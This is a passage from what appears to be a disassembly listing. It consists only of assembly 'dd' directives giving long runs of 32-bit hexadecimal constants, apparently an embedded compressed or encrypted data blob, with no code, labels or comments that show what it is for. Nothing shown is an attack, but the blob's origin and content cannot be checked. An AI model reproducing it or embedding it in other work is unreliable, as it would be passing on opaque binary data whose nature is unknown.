		dd 0C88EDF10h, 816D9700h, 88937177h, 0DA7776h, 0D265235Dh
		dd 64AF29B4h, 39306700h, 11E9A6E4h, 3775C09h, 0C107451Eh
		dd 2771C184h, 2BC8C88Ch, 0E5D79F00h, 6149FB14h,	0AC2C0060h
		dd 7C7780B9h, 79E4C2CFh, 8EC5F600h, 0B766B248h,	49D300DFh
		dd 460B5150h, 1E00BDB5h, 571BB6D6h, 781970EBh, 0AC2B0052h
		dd 3749ED42h, 4000024Dh, 41B2D89Ah, 0B175B3h, 0E8EEE464h
		dd 0FE5E492Eh, 7E07A1FAh
		dd 18BBB704h, 93ECAEC0h, 13103FAh, 6D8949Eh, 8C163E8h
		dd 86B4F703h, 0F0B51D66h, 0D02E4Ch, 109B16ABh, 0BAB7E914h
		dd 636ED405h, 0F8073CA2h, 460F123h, 0C9E4CA4h, 0E46206DFh
		dd 25004AE8h, 9212C29h,	727D14h, 6BD434FEh, 56D6A164h
		dd 4E58827Ah, 564CE1h, 24577F8Ah, 153A9Fh, 994541A7h, 0EA06C3E4h
		dd 0A2003D7Eh, 0C608D92Ah, 9D3E6517h, 0BC22FB40h, 0D637A400h
		dd 705BE507h, 0D3E428A9h, 3D360094h, 0AFFF3174h, 0A3B04C99h
		dd 0EF00587Bh, 0FD2AD287h, 0B1E31Dh, 0DF8D5E4Dh, 848FA503h
		dd 3C968E1Ch, 7502BC80h, 737E9Dh, 19EAE1FCh, 92209763h
		dd 8CCE7A03h, 0E0284C96h, 799C26E8h, 63C001BBh,	0A967B9EBh
		dd 0E3E6CC6Bh, 61C1D100h, 1603141Eh, 5ACC0095h,	85398A70h
		dd 0F10778C5h, 33B2F5AFh, 0DFB16E00h, 0BF220E11h, 578005C0h
		dd 805C7F9Ch, 425D4800h, 30214A0Dh, 0FD8107D6h,	0E31F22F9h
		dd 0D0002BF5h, 5952BCB2h, 438DB6h, 0FF10C097h, 83B22DAh
		dd 0FA011200h, 508B0203h, 0E5B4002Dh, 64987DA0h, 1E4896F6h
		dd 38D60070h, 6055F168h, 0FA540746h, 0B3840CB6h, 0E8906BABh
		dd 0A502C01Ah, 45EED504h, 7B604060h, 0ADFD0094h, 0E6F33C24h
		dd 0FA28B4CCh, 0D10088CBh, 0FB6AE8DCh, 40883Ah,	0A63EAF4Fh
		dd 2A2FF6B2h, 2C005078h, 0B771C42h, 4338CAh, 0A18F5213h
		dd 291A4058h, 0A6F89A03h, 0E03BF63Dh, 9AF820Dh,	1559F456h
		dd 0C2050C00h, 1F004A30h, 8E7193CAh, 45467Ch, 270B83FDh
		dd 0E6EAF3ACh, 0DAF88600h, 4FA7FCF6h, 0B5F20042h, 7C4ECC02h
		dd 0EB0087EEh, 9D3A50FFh, 0B6AEE1h, 2DEA65DFh, 7BB25B9h
		dd 0D81E2200h, 40A744ECh, 5FE31D04h, 0A862404Fh, 5A88D10Eh
		dd 0F80FC900h, 0FCBCE416h, 0E9610057h, 20FBF621h, 0E1CC766h
		dd 2C8355FEh, 0A06DD163h, 0E4E23953h, 4D9D0017h, 6C8B8D5Dh
		dd 0D18BF50h, 0A9F08958h, 0EE71F2h, 134F770h, 5756B9DDh
		dd 0EAC0B302h, 409BFF3Ah, 31BD8Bh, 5B9254D6h, 4923EE81h
		dd 9E78400h, 798F8557h,	677947h, 7FD20B3Ah, 7174AEBh, 1C540C3Fh
		dd 0B5CF4C02h, 8355E1EDh, 9BDC15C9h, 0F7470EE4h, 403DCA16h
		dd 0CF566E0Dh, 0B118DBFBh, 0CB446DCDh, 446F008Fh, 85290FD8h
		dd 0E4015ECAh, 0E09CCD1Bh, 0D8209906h, 49240094h, 0A2FB7D12h
		dd 614CF0F3h, 9EA50043h, 2495AACAh, 0ABA3001Ch,	0B25F12EAh
		dd 0E90FF1A2h, 0FDDE0DBh, 0C0F0C04Bh, 48B8559h,	4466D7C3h
		dd 35E0C76Eh, 0ECBD81BCh, 5C28207Ah, 0F107A6E4h, 0B3058F4h
		dd 0D3F6B7B0h, 0F77D00ADh, 0D04AFBBDh, 0E5160A3Ah, 37009A97h
		dd 8C2CABB3h, 80D30023h, 2A8A0906h, 3D009392h, 131E7750h
		dd 0EA24B0B7h, 88B500D2h, 576A3A8Bh, 0E3EA3D1Bh, 0B606A700h
		dd 1AE2209Ah, 0AF8D00EDh, 58DA5ABCh, 0B801B509h, 7F290D5Eh
		dd 0EF7DD6h, 4F07C2D8h,	287AC185h, 91836F00h, 0F94AE434h
		dd 0D132002Dh, 7201419Bh, 0B8C0A138h, 0E816CC87h, 0BDD0C0C0h
		dd 0BEA5BCB5h, 6A222100h, 53A326B7h, 1D8701DCh,	7B43345Ch
		dd 0E53AC418h, 0D8C17600h, 5447F5C6h, 7C71EEh, 9F697432h
		dd 7557605Dh, 0C704D8E4h, 0B04B3480h, 0B2A0F8C7h, 5EE9C1h
		dd 9EE2F51h, 0AD526BB4h, 2D255C07h, 5706E39h, 1F956858h
		dd 807A317Bh, 0E461C2B9h, 0C7008B0Ah, 514B2DA9h, 1E7655h
		dd 0FBBFE542h, 8D7DC2DCh, 0D4ACF100h, 0DE03E77Fh, 3B2D000Dh
		dd 35FBD774h, 0FD00FF51h, 0DF835E10h, 0CD85A6h,	0C3C83853h
		dd 616F5290h, 0EB037E00h, 5AC1F72Ch, 0A9280060h, 0AF8369EAh
		dd 3D00A40Bh, 0C0B03909h, 0AE7907h, 241A2A2Eh, 126B7E8Ah
		dd 350525F6h, 6E539F15h, 0FA7270C0h, 11C30069h,	0C4EB6D68h
		dd 60F7B216h, 6B0EBF95h, 67FAB75Ch, 0AE808A0Bh,	2BB7588h
		dd 0CACC6499h, 4C446D9Bh, 210B917Dh, 1C256Fh, 3CA54A94h
		dd 8DA04A2h, 0C1E072FCh, 0E8EFB596h, 36074518h,	54CAF450h
		dd 0AB524801h, 7682FC30h, 1F3F077h, 2F8BC747h, 0EC7BA568h
		dd 29009CC4h, 86CA45ACh, 302D08Ch, 8B2CF88Dh, 0E2B0B9B7h
		dd 6E05EC46h, 0CBFB6DAEh, 88FFB883h, 0BA19C727h, 0C17700E8h
		dd 0CF5EF394h, 0B1022DF5h, 89033533h, 0A94240CBh, 4BB51C51h
		dd 5D14C01Ah, 0D4A428C2h, 0C40FFA73h, 0C0C6B165h, 0F616E55Ch
		dd 3BFED0h, 70805F5Eh, 45B9D5ABh, 0B5906100h, 4059DEBAh
		dd 2C3000FAh, 4BEC2D49h, 0F9073AD8h, 0BCA2F021h, 0F637170h
		dd 3F38BACFh, 84D4ED98h, 0FE54076Bh, 8CACD522h,	0AE00EBA8h
		dd 58C39889h, 3BF235Bh,	32729DE0h, 0F4804AC9h, 5009A52Dh
		dd 80AC845Dh, 603E3849h, 0AAE43C68h, 91D51800h,	2F78E9B6h
		dd 0AB99BD1Bh, 8D67D078h, 0D960036h, 0AE32AFDEh, 3F757043h
		dd 38F50800h, 4E689E45h, 58095CB5h, 535F50h, 421FD97Bh
		dd 0AB2BCC88h, 6AB75800h, 0FB19B464h, 72EA056Ch, 54B3DFh
		dd 49B59EE8h, 340038E0h, 8D351F11h, 65D73B59h, 2357F020h
		dd 0EEC856FCh, 0A816702Bh, 0C005C9E1h, 0FC204A19h, 0AA320C7h
		dd 2A59AF21h, 0BB3508F0h, 2D001D90h, 0EB477396h, 6713EE16h
		dd 0B40071B7h, 0C8FB76F2h, 6FFD000Ah, 0CE46A908h, 4B0061CCh
		dd 0E2A636Ah, 924DD77h,	3C2738C6h, 0B4DC2A81h, 69870FFh
		dd 0CDEB300h, 0EC0E6E04h, 57B06Bh, 0E81E0D19h, 0E1CA642Dh
		dd 0C7D88154h, 318BE20Fh, 7FC2409Bh, 0C7F86878h, 687113B0h
		dd 5405803Ah, 0AF3C11F3h, 424700A8h, 6B9FDBB1h,	0EC00D50Ch
		dd 66A3211Ch, 5C678D10h, 300092DFh, 0CD46F7E0h,	616498Eh
		dd 0E401F85Ch, 22DBF315h, 3361FE0h, 3D68164Eh, 0F6C873AAh
		dd 0E10033C0h, 0E35E5318h, 44A89E4h, 0BE1E0A38h, 0A4808062h
		dd 0EA00526Dh, 0FBC166DCh, 0C753EBh, 6F29978Ah,	0ABA6E5BEh
		dd 0BFB9B400h, 2A516DE7h, 0DD54002Fh, 0EE779859h, 0BB003FC5h
		dd 0DBD7AFA2h, 7845AA4h, 1893B535h, 70BF9773h, 10090780h
		dd 1FF72700h, 6FFBA97Ah, 2683006Bh, 886A2ACh, 790FB88Fh
		dd 62D4962Fh, 5C425B05h, 82E30765h, 661A9036h, 0D0005A8Fh
		dd 0EE0B1C3Eh, 7F113A0h, 9B6C702Eh, 0D03C140Dh,	2CE4A5C0h
		dd 0A4334E00h, 25DBDCCCh, 0E3D43BBDh, 0A1807B00h, 0B86CE6E5h
		dd 9CDDFD00h, 0BF686F7Fh, 9B5F011Dh, 0E183318Ah, 0F696D087h
		dd 0BAD1FD00h, 7EB7E992h, 7C5598D9h, 0EC031FD7h, 395CC11Dh
		dd 40FCBA73h, 0F92E21A4h, 0A2BEDB00h, 83E86D01h, 9FF00049h
		dd 0CB999AC1h, 4C000C12h, 51CC600Eh, 0F1C532h, 0D3F39C64h
		dd 0CE2CF29Ah, 7D5E1503h, 6F93D6h, 2BBCEE58h, 77E5F7ADh
		dd 0B800F074h, 0CC053E99h, 0F108195h, 0EA8ABCF8h, 0E3769622h
		dd 0FB1ED9F0h, 0B5405A09h, 84909CA1h, 59EE070Dh, 601A7282h
		dd 8D7EF2D8h, 7C5A91A0h, 9EBA0813h, 0C2E2BC00h,	9645C56Eh
		dd 0FE842884h, 7F7150h,	335D0D52h, 914E3873h, 3C842960h
		dd 0F83A40h, 89063E7Dh,	9B17FF4Ch, 7A727E0Fh, 809DE037h
		dd 9AEC24BEh, 9E6B2C80h, 626F4018h, 8CE4D7AEh, 7AFB6C16h
		dd 0D40B7D00h, 98AC2708h, 29F900C0h, 3174B61Ah,	0B2076C22h
		dd 4E778EC4h, 0DE72E6A0h, 75F0004Bh, 0BEAFD9E4h, 1E078A23h
		dd 0AB8D15B7h, 0BCA49720h, 0FD2D09E9h, 448037F8h, 93F66972h
		dd 0D2010EE6h, 0E0160CA5h, 6F30D6ADh, 0D0F4EEh,	0D4C965BFh
		dd 0B6B3EF1Fh, 0BCA04B26h, 0E6800Bh, 0D22A2FC4h, 36402F0h
		dd 0F83EDCA7h, 0A9BA8860h, 757D003h, 0D8FFBEEDh, 4A130E3Ch
		dd 653C331Ah, 0CFC18095h, 0C09C6908h, 0DD1711E0h, 0C4C22C5Bh
		dd 0B7038460h, 86D3C052h, 0F100BA21h, 0C0CFCEFAh, 7A06D796h
		dd 0D5AD0FA5h, 6BA0D3CAh, 315768EAh, 0FCE59900h, 0B8DFD215h
		dd 0D554000Ah, 894C07F8h, 0FB007DAAh, 839D59E1h, 3CF640A3h
		dd 9482FC92h, 0B572F426h, 2F009078h, 0BD01FE53h, 0F2A97A3h
		dd 47A1B617h, 80C67C85h, 70D3EFAh, 0D8095D02h, 40209B16h
		dd 2EBB8F16h, 1C47E8ABh, 0D56E80DEh, 4096D362h,	0A76B2B1Dh
		dd 106480B9h, 0FB9335EEh, 84C91FA0h, 8BDE49EAh,	0A8C71807h
		dd 92D80460h, 0EB8500D5h, 0FBDB4291h, 47018F6Dh, 7F772F9Ch
		dd 1120984Fh, 7234008Ch, 0D3489D20h, 5900ECF6h,	87C6D832h
		dd 5104Ah, 0BCE3FF75h, 3B157D9Eh, 2DFCE200h, 1326E3Fh
		dd 2AC507DAh, 90871AA9h, 17040E02h, 50B20D3Ch, 6092FFB0h
		dd 0E91AD701h, 8188F594h, 90B29CDCh, 8260093h, 9138D201h
		dd 9D002472h, 57B7BCAEh, 2CF18B80h, 801079D3h, 2A9B6A62h
		dd 1200D8C1h, 0A106E681h, 31F702h, 260E3BEEh, 9A9E2CE9h
		dd 7A3E6C00h, 14DD68E5h, 667C003Ch, 0FE97A8DCh,	3D00F82Ah
		dd 0A3B36090h, 15AE436h, 55EFE6D5h, 0F87E4C62h,	1102FBC4h
		dd 0ADCD9FA6h, 146864FCh, 0E7AE01FFh, 0ED726F07h, 996A507Ah
		dd 8E58F879h, 0CB6013Ch, 0CDA2E80Bh, 27B4682h, 88E08926h
		dd 600057E9h, 0C0BB1E64h, 0FD3D6EAh, 92FC23EDh,	2213A900h
		dd 76074B30h, 0AB311DF0h, 6B91405Fh, 95FDECh, 2156FFB9h
		dd 0D7BCE22Dh, 1F0006F4h, 80A86663h, 0D6CC75h, 0D87472A0h
		dd 9DA317DFh, 0F7C99100h, 961AE706h, 0B0860010h, 11986133h
		dd 99006DC7h, 832EA65Eh, 0F54189h, 1F846C15h, 7D6FCD5Fh
		dd 0E000D0E4h, 0B74BC6A3h, 487B3B02h, 8101A942h, 6B96021h
		dd 649470A4h, 0B7141B09h, 0D80C00BAh, 74AC6ACBh, 5FF4004Fh
		dd 661F26E4h, 0AB007FF5h, 0B0808EA4h, 90634990h, 0C5D8E514h
		dd 4C010141h, 481B4E32h, 28307020h, 5566A600h, 549A9B1Ah
		dd 0AE2A01D3h, 0FA938BF9h, 46188E37h, 0DB9047E6h, 60868702h
		dd 133B51Ah, 0BB9AFF49h, 30940ED7h, 0B100538Bh,	800A6474h
		dd 783CCA3Fh, 77009669h, 6736A288h, 965B4023h, 41F8F526h
		dd 924B3E00h, 0AAE721B4h, 0C5C03A2Eh, 77317F07h, 8FE170DEh
		dd 990082FCh, 106877Bh,	0F19C6Fh, 4615A770h, 0C7B2BD67h
		dd 0AF90C200h, 7775DBA1h, 235C00E2h, 0BDF58C69h, 0EA98E425h
		dd 9F04A000h, 0C0ED99BEh, 0C242F2Bh, 9500157Eh,	5A3B9033h
		dd 3AC600F6h, 69B22284h, 0A7004F34h, 712BA577h,	90C18Eh
		dd 8EC9B26h, 15BFB0Eh, 2AC49700h, 0C6293B5Fh, 0E066074Dh
		dd 0A0DEFE5Eh, 8DB80A2Ch, 0ECA4F101h, 35FA51BEh, 13F4DD8h
		dd 0D301869Fh, 0C85D5E48h, 0B039B1Bh, 8397CC03h, 0BDB3F84Ah
		dd 4D924C2Eh, 0A80A5C00h, 0F39ADC31h, 6E6A3Dh, 0D48A6CAh
		dd 7468632Fh, 95DB004Eh, 821CFDB7h, 100108Bh, 4F35F8AFh
		dd 0D732A3h, 0BB7A5821h, 0A74271BAh, 4C00DA7Dh,	1F7BACE2h
		dd 8DC12Eh, 283949C5h, 0BE8CC223h, 0E79F1A00h, 784FB169h
		dd 3086EA2Fh, 4139F3D6h, 23013ABBh, 2D7A42F4h, 60BB7404h
		dd 0A861FD80h, 15B9ABDFh, 0CFD65B00h, 96F9C583h, 0BB2EC0AFh
		dd 0B8741D2Dh, 8EBE980Ch, 3162086Bh, 6A20EC4Eh,	0D03CF090h
		dd 0D3714A7Ch, 58056800h, 0D45DA4A5h, 0FBDE00D2h, 3B2DBF64h
		dd 0B3E6CD75h, 0EE0AD600h, 0EC02A477h, 0C3F93A7Ah, 823A6F86h
		dd 0EB0131BEh, 6C0419FDh, 0B08078D0h, 5137B8C3h, 0D106D4D3h
		dd 77D660A9h, 4B4A0059h, 0F271FCF1h, 822E8C6Ah,	5026A152h
		dd 74B74300h, 610A14h, 49719AA5h, 7363A375h, 0E5003B98h
		dd 0E68A7E24h, 9439079h, 13C39334h, 0F0463B07h,	0E71B3B4Fh
		dd 40FDF7Fh, 60E9279Eh,	82CA3EB5h, 8DE69Fh, 0D014D52Eh
		dd 4DC1DCF9h, 0DB00FE76h, 179A8A7Ah, 40AD25h, 0BE958DCBh
		dd 0E0CD7BBAh, 1C64B33Bh, 7700F1D4h, 0F9DDEEBFh, 20513AD5h
		dd 9B85ABB8h, 800FD707h, 0BE1D4FCDh, 75DCD850h,	0B6FE1C0Ah
		dd 180E479h, 0E5608FCEh, 411B172Ch, 0B8D10013h,	994D9E02h
		dd 0BBA1F70Bh, 310FACh,	0B5661E61h, 0F8780015h,	354AAB7Eh
		dd 0BE34AD9Ah, 0FC105083h, 0FE63E004h, 1FD57CC2h, 8074BD9Ah
		dd 27EAE341h, 0CC00FF20h, 19E1447Dh, 36DA863h, 379CAB95h
		dd 28217984h, 588C08D6h, 226C22BBh, 6222D6A0h, 5E102220h
		dd 0ED11F042h, 28AE2838h, 74897378h, 1A442B08h,	282640DAh
		dd 90CEF30Ah, 4D039070h, 0A8999AA4h, 7A8CE6C7h,	5E8426B6h
		dd 0C0A203F6h, 0F6A0F830h, 0C800EA45h, 5C36CEB5h, 7EAC0CE1h
		dd 2BB80096h, 8C9D1F43h, 0F77E9256h, 7FC24Ch, 7F05912Ah
		dd 76AA75C5h, 685C00BFh, 0C294658h, 4A02CFB7h, 37B1BC74h
		dd 6868055h, 2B707Dh, 0C4B6105Ch, 2C1B65D2h, 0BA036974h
		dd 225AF7DAh, 1EDB9Ch, 36BD8670h, 750E1DD2h, 0A06E540Eh
		dd 0DD7C018h, 43CE25h, 0DFBAA5C5h, 0C0796C6Ah, 46369F24h
		dd 57B15F00h, 0F532D9h,	267D13A6h, 1D129ADFh, 8A480F00h
		dd 63D96449h, 0C0A13E81h, 92031900h, 6FD36193h,	76C4F00h
		dd 464B2CDEh, 1EC00B3h,	287AEEB0h, 0F30072AAh, 0D34DFA41h
		dd 0AF646Ah, 0D545B525h, 8684E020h, 3E0023E4h, 5ED6A40Ch
		dd 48229E27h, 0F90030E9h, 0F9DAEE8h, 6630E4A3h,	59B2B868h
		dd 847700E2h, 0E0E5C404h, 1F0038D9h, 91BE3DFh, 7218601h
		dd 0B54AF094h, 0C511003Dh, 0B2002FBDh, 0A09B90FAh, 5894B7h
		dd 79C1248Ch, 0A35A093Ah, 3B62441Ch, 94B48D40h,	37EF783h
		dd 7274DB21h, 0F8D8551Bh, 0FB001286h, 62631DA4h, 0DBF38Fh
		dd 0FEE98A24h, 0B0594C58h, 3AA36A03h, 0F8A0F0F7h, 9104F9h
		dd 0FF451186h, 99A6D18h, 694DED00h, 90A1A0D5h, 0CEDD0082h
		dd 6162B756h, 0B00F02D0h, 246BBA6Ch, 1AE81B3h, 5364906Bh
		dd 0F668E0A3h, 3F0004FCh, 85AD313Ah, 4EF555h, 1D8D8A91h
		dd 932B6E58h, 47882500h, 7CCDB02h, 1AEE30E2h, 0A5629568h
		dd 0F7C490Eh, 0E4D3E020h, 0EA21E9h, 0E30323BCh,	1C6DCF74h
		dd 809F0600h, 19A1E454h, 902FF6C4h, 0E211006Eh,	987D6B2Bh
		dd 0E8006990h, 2D519F71h, 578246Eh, 15200ED4h, 0CCC0C0C7h
		dd 6F0A4EB8h, 0C583A155h, 0E074330Fh, 5EDE9B53h, 23560620h
		dd 0C086E1A9h, 5C322200h, 0BF2C55FDh, 0E47DFC6Ch, 6B710005h
		dd 96E260AAh, 0FA0E3235h, 60206782h, 0C1EEA924h, 51D73A6Ah
		dd 0E0575B81h, 406393F6h, 0B3F4EFA8h, 0D5A72D1Dh, 7D094AC0h
		dd 3983D6h, 0A473A6DCh,	2C58638Fh, 852B7A00h, 6B41D7E1h
		dd 8CF400FBh, 0C9205FEDh, 280A9E88h, 8F620639h,	0A51E2900h
		dd 6AC357h, 1A40AF5Eh, 1F137B05h, 0FB262000h, 70EFA5CAh
		dd 561E0091h, 0AD8BACDh, 5E3F817Ch, 0E9A700D3h,	64778FC5h
		dd 13ACE21Fh, 14F9EDEh,	0CE31E67Ah, 0D5D1FC1Ch,	137A3A00h
		dd 0EAC16F6Bh, 24960002h, 78CA5666h, 1628A248h,	0E00D86Ah
		dd 9E5DA5DBh, 867C92h, 34BA7098h, 0A0366875h, 0BD4E2E1Ch
		dd 9DD96245h, 174C3CC0h, 0DCE000F6h, 5555E7Ch, 2A00B608h
		dd 4B239F3Eh, 3830E29h,	3A24633h, 7DF04C64h, 3B00118Ch
		dd 7A47782Dh, 0FBABCEh,	96E463E2h, 0B8188D0h, 94055BE8h
		dd 7DC62FB4h, 51BC400h,	0CDB165h, 4693CFD1h, 7CF99D59h
		dd 126CFD16h, 6895EF00h, 5136FFh, 0F1E2429h, 0D9905098h
		dd 9973F600h, 0A1C24785h
		dd 174B0A67h, 2C41151h,	68CF2BE1h, 0F7706719h, 0C3A70269h
		dd 5FCCE547h, 0F2D0A40h, 90542C00h, 8901E2C7h, 82DC14AFh
		dd 7F8451h, 1F4AE342h, 9231D804h, 0A2E68E70h, 25D30201h
		dd 939CB648h, 0F7281080h, 0AE40CCCDh, 0B008B200h, 1F074D6Eh
		dd 1BD60055h, 3F77A3C8h, 752C2E7Ah, 6500C54Eh, 0C4F70B0h
		dd 1E270093h, 2FA34AAAh, 0D3003528h, 32F46F0Fh,	942D5h
		dd 71F5A85Bh, 74E0068Ah, 0F22E5600h, 1D15FB18h,	6CCD26C3h
		dd 12EA0018h, 0DA1B7E14h, 0FF1CA800h, 0F33E9C43h, 0B60C01CFh
		dd 0D75EE263h, 7FCB3057h, 1EEA2B01h, 53110D03h,	5FFDB8C5h
		dd 850AE0h, 8D9CA620h, 6D33784h, 2A26C87Ah, 0CC003F66h
		dd 6C0EA0E2h, 70C40088h, 14B5FFBCh, 9900ABB4h, 9A06F3D9h
		dd 5F465C3h, 0D05BC694h, 8780ABB2h, 1D7BD70h, 9A0ADC16h
		dd 0DC1E9E68h, 0C17631F6h, 0B1F70800h, 0B063C60Bh, 689300F8h
		dd 610602D4h, 8500DF30h, 3484A37Bh, 6353235Eh, 0B0B9F811h
		dd 0A7FB14E8h, 9E918A3Eh, 2249DB89h, 0A43C80D3h, 4C37C236h
		dd 0F400943Eh, 0A9035B91h, 937EE815h, 290165F8h, 8346E086h
		dd 79F8052Eh, 8B393DD7h, 0F8A52781h, 200D9504h,	0B000BC74h
		dd 0A1A8CC90h, 551609h,	13256F39h, 0DCD64ECBh, 0AB17B0C0h
		dd 2CF6D6Eh, 8699AF5Fh,	9880A01Bh, 0B2F56C60h, 0FF9EF400h
		dd 0BB3B328Ch, 9BE3F74Bh, 0AF90D83Ch, 0D49B0030h, 47431715h
		dd 75174621h, 5D004C86h, 0B7668D94h, 0CFF0A9h, 3F1EAFB1h
		dd 9751F4B4h, 5C00BC71h, 47A77641h, 0FE1DD6AEh,	0EAA138D4h
		dd 4C7FF4h, 2BF2A538h, 0EFADB7EBh, 9B506000h, 1F8E533Bh
		dd 36900A8Fh, 98178Ah, 9415C3CBh, 0AD05293Dh, 0F6B35FD4h
		dd 6EB85090h, 0BDACFAA7h, 0C02620F8h, 0F20078AFh, 1E424144h
		dd 0E1F5AB9h, 88425BF2h, 9080D358h, 22688724h, 3B69401Eh
		dd 441E112h, 0FBB56C51h, 1CC49C34h, 0C19B7AF8h,	6E0B1F0Fh
		dd 7D80F0C3h, 0D58FA300h, 21E02E88h, 5079004Bh,	0C056A93Dh
		dd 0A800F095h, 0D15A593Bh, 0FE46E82Eh, 68D30034h, 0A4EAE663h
		dd 0EE130AB8h, 5A009C8Fh, 8884F9Ah, 1B92009Bh, 0C7898EF8h
		dd 50E68E3h, 601EA42Ah,	5A863AF4h, 182E0003h, 0B409D23Bh
		dd 0FB7A3352h, 840028ECh, 0BB9BC9Ah, 0DF7393h, 9478EA2Ah
		dd 0FC0755B8h, 9775ED00h, 0E7CF9AD4h, 0DE410EA3h, 82007379h
		dd 13FB6CA6h, 0C5CEACA0h, 6DCA1A00h, 0E2398C68h, 0E8C000FFh
		dd 554DC3E4h, 423AEE16h, 27968003h, 2FB6365Bh, 0CD891494h
		dd 7900F61Ch, 0E1266428h, 4A245DFCh, 2280E410h,	0C460E9ECh
		dd 1C7E5D54h, 8BE16401h, 20CB91CAh, 0C12E2B4h, 5EB3367h
		dd 1DD0F2h, 4FEEBCCh, 1C152138h, 58D05915h, 1E3D0018h
		dd 0B70FAFCFh, 0AA63002Ch, 0FAEF6E0Eh, 8D07ACCEh, 1740EAA8h
		dd 0E8AF87D0h, 449903C8h, 0FD1BFB82h, 41270F8h,	8DA03E60h
		dd 4CC642h, 0FB322381h,	0E48AB727h, 0B8B52500h,	539DC25Dh
		dd 482F004Eh, 0D6B00921h, 133E9A75h, 0DCAE1ED1h, 0CFC338C0h
		dd 0F4068FF1h, 0B80F07CEh, 70B319F6h, 737CDE4Ah, 0D821C318h
		dd 9C83F1h, 145209E4h, 338A15E7h, 28034A00h, 45892156h
		dd 86E0194h, 0E996863h,	2FEBD405h, 9AF77603h, 0B32A32F8h
		dd 0D0D9B335h, 3AA33B19h, 2880150Ch, 0E53A93BDh, 0CCF8A126h
		dd 21101801h, 5F99FE23h, 8E7FC8h, 0E94AC0B1h, 0B2F77B0Dh
		dd 986239h, 8DF2C44Dh, 0B5ED10h, 76BC4ABEh, 0FFAE645Eh
		dd 34D62600h, 443927DCh, 61BF2C1Fh, 7080016h, 82875E21h
		dd 2F2BD14Ch, 0E1F46Eh,	3F47B3Fh, 55003C9Fh, 0D393C85Ah
		dd 3CFD212h, 0F35D63D1h, 46E8E08Eh, 560786DDh, 35FD8F4Eh
		dd 2F1F2DF0h, 0EDBD00ACh, 0A93332E5h, 0D00F448h, 394EAA0Bh
		dd 3BD2377Eh, 0F1038527h, 204DF3DFh, 5FA043D8h,	0ACB83A05h
		dd 2D819049h, 2180FE65h, 0D7C22E6h, 44E030D9h, 0C3BB910Eh
		dd 0BF316ED0h, 0B17032C0h, 1372AEEh, 2D9325CCh,	606B3477h
		dd 0A28A32Ch, 7100A819h, 8B65C833h, 3CA54CEBh, 0DB502DE1h
		dd 8E070019h, 70F69104h, 2B000206h, 0D1638A9Bh,	9FE33F2h
		dd 0EFBC54FCh, 4B858A80h, 0CA3AED5Eh, 7C038ACh,	8150ADE3h
		dd 693688D0h, 1EF50360h, 58CE5E2h, 0BD66B3C8h, 0E1F29901h
		dd 7EDF80A5h, 4A5A6180h, 4B19CBB4h, 88AE2780h, 9F000972h
		dd 8E523ED9h, 513310h, 1731F823h, 543B92A5h, 6BEF1100h
		dd 0D83EAFEDh, 0C84600D6h, 4B501244h, 0D212957Bh, 204059DBh
		dd 7DBB921Bh, 7DD07628h, 0BC45007Ch, 8B36DD3h, 0B51FD74Bh
		dd 0CD969EF0h, 90778706h, 0CFA50038h, 811F7B37h, 75002D86h
		dd 0E1DCB1B3h, 743BB7h,	0AC56367Ch, 481F2E53h, 64E84307h
		dd 5EB04EF5h, 0BE8B88h,	0D828EF8Eh, 0B45B650Dh,	0BB367200h
		dd 3C568775h, 7F380AB1h, 0B88B82h, 0EBEEFE54h, 7200B81Bh
		dd 0EABCF557h, 0A8229Ch, 97FD58CEh, 0C9FEBA59h,	2E376B3Fh
		dd 6400910Ch, 1EA5EBB5h, 2834E896h, 0BA484EFh, 4D73DDFDh
		dd 0D699B401h, 0C2FB60D3h, 0ECDAA309h, 0DCAC238Dh, 4DAD8875h
		dd 0E180060h, 3EF20A26h, 0AAECF7CCh, 640CD100h,	0AC6E7D9Bh
		dd 1912001Ah, 3B8FE8E4h, 8101C23Eh, 0A7E1680Fh,	40EAB007h
		dd 0BBCFFD4h, 1D14BE78h, 94E18E60h, 0C77A3707h,	11210739h
		dd 98439A95h, 0E661C081h, 0FC6B02A1h, 0D57C2A70h, 3F5E9080h
		dd 1503065Dh, 0C39481ACh, 0F71800D6h, 0EE540905h, 521C21A9h
		dd 55810CEDh, 0CD81A7AEh, 489A40D0h, 9021541h, 0EB114CC9h
		dd 71BFC077h, 4FF100B6h, 40A0106Ah, 9002E7Dh, 228E8044h
		dd 319493h, 39F9616h, 3728553Dh, 9AF6330Fh, 0E0040FC1h
		dd 90B988BEh, 0C0F16084h, 0CF41854h, 812FC33Ah,	22CBCAE7h
		dd 23CCBC80h, 0DE570074h, 6631E865h, 4E00F9CFh,	2069F0AFh
		dd 6A068F5h, 18500230h,	7400A05Ch, 36EB736Eh, 98DFF7h
		dd 528A9A8Dh, 87B76D5h,	342B48h, 0FF95B131h, 17D6703h
		dd 93815A21h, 0DBE53557h, 622404E8h, 7016939h, 63A09D2Ah
		dd 0ADBD8E80h, 0FDB50039h, 0F57D825Fh, 0E70FBB02h, 0A0D63E4Fh
		dd 92F7C2E5h, 0BC2B03EDh, 0FAA326CEh, 0B7734BB8h, 0F6FF0900h
		dd 0E7B65D87h, 7DDE002Eh, 0D85A83A0h, 7C011CBAh, 0A2C78425h
		dd 0E9ECFB3Dh, 0C00400CEh, 0C17A16DCh, 760003B7h, 2BC2B9A9h
		dd 18DDF6Bh, 0BBDBFB5Fh, 0EC56F988h, 4300EB50h,	0A51134B8h
		dd 0F5922E8h, 0D3C32BDh, 27A82440h, 0A3095E08h,	80E30A5Ah
		dd 0A2BFB05Dh, 59FD1D4Ah, 7518414Dh, 0F0E4E514h, 160099F9h
		dd 3C5415DFh, 6142CEh, 881E32C3h, 4E17D35h, 8AC5FD0Ah
		dd 4B0FC05Dh, 0AF2F8009h, 1D86A723h, 0C0BEDB96h, 0DC050A7Eh
		dd 0B8001F7Fh, 9E24A697h, 2F998DFFh, 1754AC95h,	3776843Dh
		dd 4B87AAA4h, 1679C8D0h, 0C89B4856h, 3869FB0Fh,	4C6CDA03h
		dd 37891000h, 0D65BFA60h, 80C56F03h, 57834D80h,	0BE397BD9h
		dd 1CBA7Fh, 274EE4A3h, 0F87C75B4h, 183554CCh, 7B591821h
		dd 64F5186Ch, 4D2DE40h,	79DA3FDh, 388BC6BAh, 791FEA07h
		dd 90A04917h, 0C0E8193Ah, 78FA6F89h, 0C4429AD6h, 73409820h
		dd 8B8F009Bh, 0D16DE75Dh, 33001F02h, 5FF1C01Dh,	9F56DEh
		dd 0EA10254Fh, 0FF60FDE0h, 58C2B03Ch, 0F38C00EEh, 3552846h
		dd 64E0000Ch, 0D8D042D7h, 573E50ECh, 1DA4BA9Ch,	3780B554h
